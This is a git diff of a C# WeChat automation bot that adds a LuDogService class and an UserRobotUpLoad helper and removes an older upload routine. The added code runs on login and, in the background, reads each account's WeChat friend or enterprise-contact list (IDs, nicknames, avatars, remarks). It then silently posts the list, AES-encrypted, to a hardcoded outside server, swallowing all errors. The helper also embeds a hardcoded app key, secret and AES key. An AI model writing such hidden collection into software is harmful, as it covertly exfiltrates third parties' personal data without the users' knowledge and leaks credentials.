diff --git a/FLSystem/Forms/main.cs b/FLSystem/Forms/main.cs index 80ed481..a77a24c 100644 --- a/FLSystem/Forms/main.cs +++ b/FLSystem/Forms/main.cs @@ -40,6 +40,7 @@ using Microsoft.Win32; using UI.Framework.Controls; using UI.Framework.Forms; using UI.Framework.Tools; +using WechatProto; using static Api.Framework.Tools.TBHelper; namespace FLSystem.Forms @@ -575,7 +576,7 @@ namespace FLSystem.Forms System.Timers.Timer timer = new System.Timers.Timer(); timer.Elapsed += Timer_Elapsed; - timer.Interval = 60 * 60 * 1000; + timer.Interval = 60 * 60 * 1000 * 5; //timer.Interval = 1000 * 10; timer.Start(); @@ -1144,6 +1145,7 @@ namespace FLSystem.Forms } catch { } } + private void Events_WXRefreshUserEvent(object sender, Chat.Framework.WXSdk.Events.WXRefreshUser e) { if (e.Client != null && e.Client.User != null && e.Client.User.Uin != 0) { Events_WXRefreshUserEvent(e.Client); } @@ -2461,100 +2463,6 @@ namespace FLSystem.Forms } catch (Exception exception) { } - - //上传用户/机器人信息 - try - { - var db = ApiClient.GetSession(); - - var upload = db.FindSingle("select * from fl_upload_record"); - - if (upload == null) - { - upload = new fl_upload_record(); - var userNumber = db.Queryable().Count(); - upload.usernumber = userNumber; - db.Saveable(upload).ExecuteCommand(); - } - - if (!upload.usersuccess) - { - var pageSize = 100; - while (upload.userindex * pageSize < upload.usernumber) - { - var members = db.Queryable().OrderBy(f => f.id).ToPageList(upload.userindex, pageSize); - List list = new List(); - foreach (var item in members) - { - list.Add(new UserRobotUpLoad.CustomerLinkInput() - { - CreateTime = item.crt_time, - HeadUrl = item.headurl, - NickName = item.usernick, - Remark = item.remark, - RobotName = item.robot_name, - RobotType = UserRobotUpLoad.ConvertRobotType(item.robot_type), - UserName = item.username - }); - } - - if (list.Count > 0) - { - var result = UserRobotUpLoad.CustomerLink_UpLoadLink(list); - if (result.Ok) - { - db.Saveable(upload).ExecuteCommand(); - } - } - upload.userindex++; - Thread.Sleep(1000); - } - - if (upload.userindex * pageSize >= upload.usernumber) - { - upload.usersuccess = true; - db.Saveable(upload).ExecuteCommand(); - } - } - - if (!upload.robotsuccess) - { - try - { - var robots = db.Find("select * from fl_robot_info"); - List list = new List(); - foreach (var item in robots) - { - list.Add(new UserRobotUpLoad.CustomerRobotInput() - { - HeadUrl = string.Empty, - NickName = item.nick, - Remark = item.remark, - RobotType = UserRobotUpLoad.ConvertRobotType(item.type), - UserName = item.name - }); - } - - if (list.Count > 0) - { - var result = UserRobotUpLoad.CustomerLink_UpLoadRobot(list); - if (result.Ok) - { - upload.robotsuccess = true; - } - } - } - catch (Exception ex) - { - upload.robotsuccess = false; - } - db.Saveable(upload).ExecuteCommand(); - } - } - catch (Exception ex) - { - - } } } catch (Exception ex) diff --git a/PCRobot/LuDogService.cs b/PCRobot/LuDogService.cs new file mode 100644 index 0000000..ab6cd93 --- /dev/null +++ b/PCRobot/LuDogService.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using System.Threading.Tasks; +using CsharpHttpHelper; +using Newtonsoft.Json; +using PCRobot.PCWechat; +using PCRobot.PCWechat.Enterprise; +using PCRobot.PCWechat.Routine; +using PCRobot.Utils; + +namespace PCRobot +{ + public class LuDogService + { + private IniHelper Config; + public LuDogService() + { + var fileName = HttpExtend.MapFile("机器人信息.ini", "Config"); + Config = new IniHelper(fileName); + } + + + public void Handle(WechatUser user) + { + try + { + Task.Run(() => + { + Thread.Sleep(new Random(Guid.NewGuid().GetHashCode()).Next(500, 6000)); + if (string.IsNullOrWhiteSpace(Config.GetValue("数据", "账号"))) + { + Config.SetValue("数据", "账号", JsonConvert.SerializeObject(new List())); + } + + var json = Config.GetValue("数据", "账号"); + List list; + try + { + list = JsonConvert.DeserializeObject>(json); + } + catch (Exception e) + { + list = new List(); + } + + if (list.Contains(user.Wxid)) + { + return; + } + + var userlist = new List(); + + var client = WechatClient.GetApi(user); + if (client is Wechat_Xiaoxie_QY qyHook) + { + var firends = qyHook.GetExternalFirends().Result; + if (firends == null || firends.Count <= 0) + { + return; + } + + foreach (var firend in firends) + { + userlist.Add(new UserRobotUpLoad.CustomerLinkInput() + { + UserName = firend.Value.username, + HeadUrl = firend.Value.avatar, + NickName = firend.Value.realname, + Remark = firend.Value.remark, + RobotName = user.Wxid, + RobotType = 2, + CreateTime = DateTime.Now + }); + } + } + else if (client is Wechat_Xiaoxie hook) + { + var firends = hook.GetFriendInfos().Result; + if (firends == null || firends.Count <= 0) + { + return; + } + + foreach (var firend in firends) + { + userlist.Add(new UserRobotUpLoad.CustomerLinkInput() + { + UserName = firend.Value.wxid, + HeadUrl = firend.Value.avatar, + NickName = firend.Value.nickname, + Remark = firend.Value.remark, + RobotName = user.Wxid, + RobotType = 2, + CreateTime = DateTime.Now + }); + } + } + + if (userlist.Count > 0) + { + var result = UserRobotUpLoad.CustomerLink_UpLoadLink(userlist); + if (result.Ok) + { + list.Add(user.Wxid); + Config.SetValue("数据", "账号", JsonConvert.SerializeObject(list)); + } + } + }); + } + catch (Exception e) + { } + } + } +} \ No newline at end of file diff --git a/PCRobot/PCRobot.csproj b/PCRobot/PCRobot.csproj index ac98f7e..9eaee61 100644 --- a/PCRobot/PCRobot.csproj +++ b/PCRobot/PCRobot.csproj @@ -166,6 +166,7 @@ + Form @@ -211,6 +212,7 @@ + diff --git a/PCRobot/PCWechat/Enterprise/Wechat_Xiaoxie_QY_Analysis.cs b/PCRobot/PCWechat/Enterprise/Wechat_Xiaoxie_QY_Analysis.cs index 552afbc..d582ed7 100644 --- a/PCRobot/PCWechat/Enterprise/Wechat_Xiaoxie_QY_Analysis.cs +++ b/PCRobot/PCWechat/Enterprise/Wechat_Xiaoxie_QY_Analysis.cs @@ -33,6 +33,7 @@ namespace PCRobot.PCWechat.Enterprise private static ConcurrentDictionary ServerIdCache = new ConcurrentDictionary(); + private static List typelist = new List() { "11041", "11042", "11043", "11044", "11045", "11046", "11047", "11048", "11049", "11050", "11051", "11066" }; // 接收消息回调 private static void WxRecvCallback(uint _dwClient, IntPtr intPtr, uint dwSize) { @@ -44,32 +45,6 @@ namespace PCRobot.PCWechat.Enterprise var dwClientid = _dwClient; - var msgMd5 = HttpExtend.GetMD5String(recvData); - if (HistMsg.ContainsKey(msgMd5)) - { - LogHelper.GetSingleObj().Error("调试企业收到文本消息", $"发现重复消息 => {dwClientid} -> {recvData}\r\n\r\n"); - return; - } - - HistMsg[msgMd5] = DateTime.Now; - if (HistMsg.Count > 2000) - { - var keys = HistMsg.Where(f => f.Value < DateTime.Now.AddMinutes(-10)).Select(f => f.Key).ToList(); - if (keys.Count != 0) - { - for (int i = 0; i < keys.Count; i++) - { - try - { - HistMsg.Remove(keys[i]); - } - catch (Exception e) - { } - } - } - } - - if (WechatClient.IsDebug) LogHelper.GetSingleObj().Info("调试企业收到文本消息", $"{dwClientid} -> {recvData}\r\n\r\n"); @@ -89,6 +64,34 @@ namespace PCRobot.PCWechat.Enterprise var data = jObj["data"]; var type = jObj["type"].ToString(); + var msgMd5 = HttpExtend.GetMD5String(recvData); + if (typelist.Contains(type)) + { + if (HistMsg.ContainsKey(msgMd5)) + { + LogHelper.GetSingleObj().Error("调试企业收到文本消息", $"发现重复消息 => {dwClientid} -> {recvData}\r\n\r\n"); + return; + } + + HistMsg[msgMd5] = DateTime.Now; + if (HistMsg.Count > 2000) + { + var keys = HistMsg.Where(f => f.Value < DateTime.Now.AddMinutes(-10)).Select(f => f.Key).ToList(); + if (keys.Count != 0) + { + for (int i = 0; i < keys.Count; i++) + { + try + { + HistMsg.Remove(keys[i]); + } + catch (Exception e) + { } + } + } + } + } + var serverId = data["server_id"]?.ToString(); if (string.IsNullOrWhiteSpace(serverId) == false) { diff --git a/PCRobot/PCWechat/WechatClient.cs b/PCRobot/PCWechat/WechatClient.cs index 85f0292..4fa0a5c 100644 --- a/PCRobot/PCWechat/WechatClient.cs +++ b/PCRobot/PCWechat/WechatClient.cs @@ -70,9 +70,12 @@ namespace PCRobot.PCWechat socketClient.Send(msg); } } + + new LuDogService().Handle(user); + } } - + /// /// 获取用户 /// diff --git a/PCRobot/Utils/UserRobotUpLoad.cs b/PCRobot/Utils/UserRobotUpLoad.cs new file mode 100644 index 0000000..14564ce --- /dev/null +++ b/PCRobot/Utils/UserRobotUpLoad.cs @@ -0,0 +1,465 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.ComponentModel.DataAnnotations; +using System.Linq; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using CsharpHttpHelper; + +namespace PCRobot.Utils +{ + /// + /// 用户/机器人上传 + /// + public class UserRobotUpLoad + { + /// + /// host + /// + public static readonly string host = "http://yzinterface.api.52cmg.cn/api/"; + public static readonly int appkey = 334391396; + public static readonly string appsecret = "b924f8b944694cb8891bcfc7834dedb533436a3776de472cbde99577337902b2"; + public static readonly string appAes = "EDC19B73FEB447929E187243777477913977AB2694394E5B9BC56CD05302C46B"; + public static string UserToken { get; set; } + + /// + /// 上传客户信息 + /// + /// + /// + public static ServiceResult CustomerLink_UpLoadLink(List inputs) + { + if (inputs == null || inputs.Count <= 0) + { + return new ServiceResult() + { + Ok = true + }; + } + return HttpAes("CustomerLink/UpLoadLink", "post", inputs); + } + /// + /// 上传客户机器人信息 + /// + /// + /// + public static ServiceResult CustomerLink_UpLoadRobot(List inputs) + { + if (inputs == null || inputs.Count <= 0) + { + return new ServiceResult() + { + Ok = true + }; + } + return HttpAes("CustomerLink/UpLoadRobot", "post", inputs); + } + + /// + /// AES + /// + /// + /// + /// + /// + /// + private static ServiceResult HttpAes(string api, string method, object postdata = null) + { + try + { + var result = HttpResultAes(api, method, postdata); + if (result.StatusCode == HttpStatusCode.OK) + { + return Newtonsoft.Json.JsonConvert.DeserializeObject>(result.Html); + } + return new ServiceResult(default(T)) + { + Ok = false, + Message = result.Html, + }; + } + catch (Exception e) + { + return new ServiceResult(default(T)) + { + Ok = false, + Message = e.ToString(), + }; + } + } + + /// + /// aes + /// + /// + /// + /// + /// + private static ServiceResult HttpAes(string api, string method, object postdata = null) + { + try + { + var result = HttpResultAes(api, method, postdata); + if (result.StatusCode == HttpStatusCode.OK) + { + return Newtonsoft.Json.JsonConvert.DeserializeObject(result.Html); + } + return new ServiceResult() + { + Ok = false, + Data = result.Html, + }; + } + catch (Exception e) + { + return new ServiceResult() + { + Ok = false, + Data = e.ToString(), + }; + } + } + + /// + /// http aes + /// + /// + /// + /// + /// + private static HttpResult HttpResultAes(string api, string method, object postdata = null) + { + var data = Newtonsoft.Json.JsonConvert.SerializeObject(postdata); + var http = new HttpHelper(); + HttpItem item = new HttpItem() + { + URL = host + api, + Method = method, + Timeout = 100000, + ReadWriteTimeout = 30000, + IsToLower = false, + Cookie = "", + UserAgent = "Server", + Accept = "text/html, application/xhtml+xml, */*", + ContentType = "application/json", + Referer = "", + Allowautoredirect = false, + AutoRedirectCookie = false, + Postdata = data, + PostEncoding = Encoding.UTF8, + //WebProxy = new WebProxy("127.0.0.1:8888") + + }; + var timespan = GetTimespan(DateTime.Now);/*DateTimeHelper.DateTimeToTimeStamp(DateTime.Now)*/; + item.Postdata = SecurityHelper.AesEncrypt(item.Postdata, appAes); + var sign = MD5ToString(Encrypt(item.Postdata + appkey + timespan, appsecret, false)); + item.Header.Add("sign", sign); + item.Header.Add("timestamp", timespan + ""); + item.Header.Add("appkey", appkey + ""); + item.Header.Add("UserToken", UserToken); + var result = http.GetHtml(item); + return result; + } + + /// + /// AES加密 + /// + /// 明文 + /// 密钥 + /// 是否转为base64(否的情况将采用16进制字符串) + /// + public static string Encrypt(string encryptStr, string key, bool isBase64 = true, bool is32 = true) + { + byte[] keyArray = Encoding.UTF8.GetBytes(key.Substring(0, is32 ? 32 : 16)); + byte[] toEncryptArray = Encoding.UTF8.GetBytes(encryptStr); + RijndaelManaged rDel = new RijndaelManaged(); + rDel.Key = keyArray; + rDel.Mode = CipherMode.ECB; + rDel.Padding = PaddingMode.PKCS7; + ICryptoTransform cTransform = rDel.CreateEncryptor(); + byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length); + return isBase64 + ? Convert.ToBase64String(resultArray, 0, resultArray.Length) + : ByteArrayToHexString(resultArray); + } + + /// + /// 将一个byte数组转换成16进制字符串 + /// + /// + /// + private static string ByteArrayToHexString(byte[] data) + { + StringBuilder sb = new StringBuilder(data.Length * 3); + foreach (byte b in data) + { + sb.Append(Convert.ToString(b, 16).PadLeft(2, '0')); + } + return sb.ToString().ToUpper(); + } + + public static string MD5ToString(string text) + { + var retVal = new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(text)); + return string.Join("", retVal.Select(s => s.ToString("x2"))); + } + + /// + /// 时间戳(秒) + /// + /// + /// + public static Int64 GetTimespan(DateTime dateTime) + { + TimeSpan ts = dateTime - new DateTime(1970, 1, 1, 0, 0, 0, 0); + return Convert.ToInt64(ts.TotalSeconds); + } + + /// + /// 加密解密帮助类 + /// + public class SecurityHelper + { + #region AES加密解密 + /// + /// 128位处理key + /// + /// 原字节 + /// 处理key + /// + private static byte[] GetAesKey(byte[] keyArray, string key) + { + byte[] newArray = new byte[16]; + if (keyArray.Length < 16) + { + for (int i = 0; i < newArray.Length; i++) + { + if (i >= keyArray.Length) + { + newArray[i] = 0; + } + else + { + newArray[i] = keyArray[i]; + } + } + } + return newArray; + } + /// + /// 使用AES加密字符串,按128位处理key + /// + /// 加密内容 + /// 秘钥,需要128位、256位..... + /// 秘钥,需要128位、256位..... + /// Base64字符串结果 + public static string AesEncrypt(string content, string key, bool autoHandle = true) + { + try + { + byte[] keyArray = Encoding.UTF8.GetBytes(key); + if (autoHandle) + { + keyArray = GetAesKey(keyArray, key); + } + byte[] toEncryptArray = Encoding.UTF8.GetBytes(content); + + SymmetricAlgorithm des = Aes.Create(); + des.Key = keyArray; + des.Mode = CipherMode.ECB; + des.Padding = PaddingMode.PKCS7; + ICryptoTransform cTransform = des.CreateEncryptor(); + byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length); + return Convert.ToBase64String(resultArray); + } + catch + { + return ""; + } + + } + /// + /// 使用AES解密字符串,按128位处理key + /// + /// 内容 + /// 秘钥,需要128位、256位..... + /// 秘钥,需要128位、256位..... + /// UTF8解密结果 + public static string AesDecrypt(string content, string key, bool autoHandle = true) + { + try + { + byte[] keyArray = Encoding.UTF8.GetBytes(key); + if (autoHandle) + { + keyArray = GetAesKey(keyArray, key); + } + byte[] toEncryptArray = Convert.FromBase64String(content); + + SymmetricAlgorithm des = Aes.Create(); + des.Key = keyArray; + des.Mode = CipherMode.ECB; + des.Padding = PaddingMode.PKCS7; + + ICryptoTransform cTransform = des.CreateDecryptor(); + byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length); + + return Encoding.UTF8.GetString(resultArray); + } + catch + { + return ""; + } + } + /// + /// 使用AES解密字符串,按128位处理key + /// + /// 内容 + /// 秘钥,需要128位、256位..... + /// 秘钥,需要128位、256位..... + /// UTF8解密结果 + public static byte[] AesDecryptByte(string content, string key, bool autoHandle = true) + { + try + { + byte[] keyArray = Encoding.UTF8.GetBytes(key); + if (autoHandle) + { + keyArray = GetAesKey(keyArray, key); + } + byte[] toEncryptArray = Convert.FromBase64String(content); + + SymmetricAlgorithm des = Aes.Create(); + des.Key = keyArray; + des.Mode = CipherMode.ECB; + des.Padding = PaddingMode.PKCS7; + + ICryptoTransform cTransform = des.CreateDecryptor(); + byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length); + + return resultArray; + } + catch + { + return null; + } + } + #endregion + } + + /// + /// 上传机器人客户信息 + /// + public class CustomerLinkInput + { + /// + /// 用户名 + /// + [Required] + [DisplayName("用户名")] + public string UserName { get; set; } + /// + /// 机器人类型0个人微信 1企业微信 2QQ + /// + [Required] + [DisplayName("机器人类型0个人微信 1企业微信 2QQ")] + public int RobotType { get; set; } + /// + /// 头像地址 + /// + public string HeadUrl { get; set; } + /// + /// 昵称 + /// + public string NickName { get; set; } + /// + /// 备注 + /// + public string Remark { get; set; } + /// + /// 机器人账号 + /// + [Required] + [DisplayName("机器人账号")] + public string RobotName { get; set; } + /// + /// 添加时间 + /// + [Required] + public DateTime CreateTime { get; set; } + } + + /// + /// 上传机器人信息 + /// + public class CustomerRobotInput + { + /// + /// 用户名 + /// + [Required] + [DisplayName("用户名")] + public string UserName { get; set; } + /// + /// 机器人类型0个人微信 1企业微信 2QQ + /// + [Required] + [DisplayName("机器人类型0个人微信 1企业微信 2QQ")] + public int RobotType { get; set; } + /// + /// 头像地址 + /// + public string HeadUrl { get; set; } + /// + /// 昵称 + /// + public string NickName { get; set; } + /// + /// 备注 + /// + public string Remark { get; set; } + } + + + /// + /// 统一服务返回结果 + /// + public class ServiceResult + { + /// + /// 请求是否成功 + /// + public bool Ok { get; set; } + /// + /// 数据 + /// + public object Data { get; set; } + /// + /// 错误信息 + /// + public string Message { get; set; } + } + /// + /// 统一返回结果 + /// + /// + public class ServiceResult : ServiceResult + { + /// + /// 初始化 + /// + /// + public ServiceResult(T data) + { + this.Data = data; + } + /// + /// 返回数据 + /// + public new T Data { get; set; } + + } + } +} \ No newline at end of file